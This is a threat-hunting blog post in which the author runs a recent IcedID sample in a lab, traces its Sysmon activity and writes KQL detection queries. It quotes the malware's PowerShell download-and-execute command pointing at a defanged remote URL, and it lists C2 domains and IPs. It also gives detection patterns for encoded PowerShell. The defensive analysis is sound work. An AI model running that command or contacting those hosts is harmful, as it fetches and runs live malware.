Making the decision of what to analyze
The last blog post that I wrote was about creating an ELK with a Kibana view of the currently active malware, using the common publicly available sandbox services. This gives some insight of what is currently active and I think it can be quite current as I believe that quite a lot of people are uploading the malware they come across to the sandboxes. What I have gathered so far is that probably 95% of all the malware is related to info stealers and that it is a damn shame that I think this can’t be done with VirusTotal as I am sure that that would give much better insight.
The picture to the left shows the most active malware families from the past 7 days according to the Hatching Triage. This shows that redline and amadey continues to be the most commonly uploaded samples, by a far margin. These both are info stealers, trying to gain access to different kind of information stored on the target devices.
SmokeLoader is known to load Amadey which is likely why it is so high up in the results here. From the rest, Vidar, AgentTesla, Rhadamanthys and Laplas are also info stealers. Glupteba is a botnet, which can drop whatever else – including the said info stealers.
Interesting exception to the bunch here is Djvu. This is a Ransomware – although it is a little different from most known Ransomware families. Djvu is only targeting the single machine, so no fancy lateral movement or infecting hundreds or thousands of devices before launching the disastrous encryptor. For me, this makes it a little boring – unfortunately.
The data from the Malware Bazaar isn’t identical. Mirai is by far the most uploaded sample in Malware Bazaar when looking at the past 7 days. This is a change, when I originally created the ELK dashboars Mirai was far behind of Redline and Amadey in Malware Bazaar too. Otherwise, there are minor differences – Malware Bazaar has more botnets in the top families but mostly info stealers too.
As I am not really interested in analyzing info stealers I filtered out the biggest families. This revealed, from the past two days, that Emotet has been still most active, followed by Asyncrat. I have already ran one sample of Asyncrat little while ago and thus not interested in that. Emotet, to my knowledge, hasn’t got any new tricks – except that it has now adopted the OneNote delivery method.
Icedid pops out, which raises my interest likely most out of all of the samples here. I’ve been working with loaders quite a lot lately but I still find them interesting from threat hunting perspective as they are often the first thing that can be realistically spotted from the endpoints. Icedid has been tied with Raspberry Robin and has also been noted of being either the first or second stage payload. Let’s go with Icedid then.
Icedid, recent sample Sysmon analysis
I chose to go with this sample as it is quite recent so the C2 is still hopefully operational. The file contained a Javascript file which when launched didn’t show anything visible. After I double clicked it, the javascript file was executed with wscript.exe, which is the first great hunting vector. Then, it launched encoded powershell through cmd.exe. The powershell process was launched with the following commandline IEX (New-Object Net.Webclient). downloadstring (“http://conalom[.]top/gatef1.php”).
So basically, it is loading the next payload from the remote Address. After this the PowerShell process initiated a connection to IP 176[.]124.193.25. After initiating the network connection the PowerShell process start a new process, rundll32.exe, with the following Commandline: “C:\Windows\System32\rundll32.exe” C:\Users\VAGRAN~1.WIN\AppData\Local\Temp\BPLTjzsS.dat,init. File creation for the file BPLTjzsS.dat is not recorded for some reason. It is present on the disk, with SHA256 hash 9E66B2A30D5244D1DFFB968CC1C67FE705CE208EED450AE81F9F48552187749B and has been reported as malicious in many VT engines. This is associated to Iceid, as to be expected.
The PowerShell session queries for the domain conalom.top, which results in IP 176[.]124.193.25. The PowerShell process initiated a connection to this IP on port 80 afterwards. Next, the malicious rundll32.exe process queries for the domain umoxlopator.com, which results to IP 80[.]78.24.30 to which the rundll32 process initiates a connection to on port 80. Even after waiting for a good few hours, nothing else is being done. The malware has an active C2 connection towards the latter IP-address but hasn’t done anything – not even the usual Discovery commands. Weird, but ok – it is waiting for manual action from the threat actor. They might be having a nice Sunday dinner – or maybe they have a bigger catch to fry. Interestingly, the C2 connection is quite spammy, connecting to the address every minute or so.
Hunting for Icedid
I thought that I would have already created queries to account for this behavior but it actually seems that I have not. Let’s start with easy. This basically looks for wscript.exe or cscript.exe starting cmd.exe which then starts encoded Powershell. The regex is not mine, it is from the Microsoft Repository, here.
sysmon
| where Image endswith "cmd.exe"
| where ParentImage endswith "wscript.exe" or ParentImage endswith "cscript.exe"
| where CommandLine matches regex @'(\s+-((?i)encod?e?d?c?o?m?m?a?n?d?|e|en|enc|ec)\s).*([A-Za-z0-9+/]{50,}[=]{0,2})'
| project TimeGenerated, Computer, ParentImage, Image, CommandLine, CurrentDirectoryNext, let’s look for the network connection made by the PowerShell process.
sysmon
| where EventID == 1
| where Image endswith "powershell.exe"
| where CommandLine matches regex @'(\s+-((?i)encod?e?d?c?o?m?m?a?n?d?|e|en|enc|ec)\s).*([A-Za-z0-9+/]{50,}[=]{0,2})'
| project ProcessCreateTime = TimeGenerated, Computer, ParentImage, Image, CommandLine, ProcessId
| join (
sysmon
| where EventID == 3
| where Image endswith "powershell.exe"
| project NetConTime = TimeGenerated, Computer, Image, ProcessId, SourceIp, DestinationIp, DestinationPort, DestinationPortName, DestinationHostname
) on ProcessId, Computer
| project-away Computer1, Image1, ProcessId1As we all like joining data I added one final join before I end the post. It adds the child process created by the powershell.exe to the mix – the powershell.exe needs to make a network connection and it has to spawn a child process for this to fire. So it is starting to be quite granular.
sysmon
| where EventID == 1
| where Image endswith "powershell.exe"
| where CommandLine matches regex @'(\s+-((?i)encod?e?d?c?o?m?m?a?n?d?|e|en|enc|ec)\s).*([A-Za-z0-9+/]{50,}[=]{0,2})'
| project ProcessCreateTime = TimeGenerated, Computer, ParentImage, Image, CommandLine, ProcessId
| join (
sysmon
| where EventID == 3
| where Image endswith "powershell.exe"
| project NetConTime = TimeGenerated, Computer, Image, ProcessId, SourceIp, DestinationIp, DestinationPort, DestinationPortName, DestinationHostname, PowerShellID = ProcessId
) on ProcessId, Computer
| project-away Computer1, Image1, ProcessId1
| join (
sysmon
| where EventID == 1
| where ParentImage endswith "powershell.exe"
| project ChildProcessTime = TimeGenerated, Computer, ChildProcessImage = Image, ChildProcessCommandLine = CommandLine, ChildProcessId = ProcessId, PowerShellID = ParentProcessId
) on PowerShellID, Computer
| project-away PowerShellID1There are a ton of other options here too but this is it now. The C2 would have been interesting to hunt for based on the frequency – maybe next time. This post took ages to make already, for the wrong reasons that are found from the conclusion part.
Conclusion
Unfortunately, I had huge issues with DetectionLab this time. The ansible tasks were getting stuck and failing in the end and I was tackling many of the issues while writing this blog post. I have no idea why random tasks were failing as this has worked perfectly fine for a while now – but it took hours, debugging and retrying so it wasn’t amazing experience.
As the project has been discontinued I might be building something of my own – probably based on the great work that has been done to DetectionLab. If I will do that I might be blogging about that later and sharing the work to others – however if I will build something it will likely be much more crude and simplistic as the whole DetectionLab is a little overkill for me. I already removed many components while debugging, like the network level detection (Suricata/Zeek). Also – it will likely be built upon Unraid – which uses KVM-QEMU-Libvirt in the background. I am not overly (at all) familiar with most of the tools used so it will be a huge project to learn – I like it – but I am not sure IF/when I would have the time to do it.
What comes to Icedid – I didn’t really see anything new or exciting of the activity. Old tricks that have been seen multiple times and can be found with low effort queries. It is highly likely that even this sample which was uploaded to Hatching Triage a day before I launched it would have been already picked up by most of the Antivirus software. However the reality is that these do get past the controls. This is the reason why you most likely would like to do some threat hunting and targeting the malware. As you’ve likely noted – I like hunting for loaders. The reason for this is that I like to launch them in the lab to observe where they take me. This time – it didn’t really take me to a journey. Maybe that would have happened later but I decided to restore the snapshot around 8 hours after I launched the Icedid.
Queries available at Github for easy copying.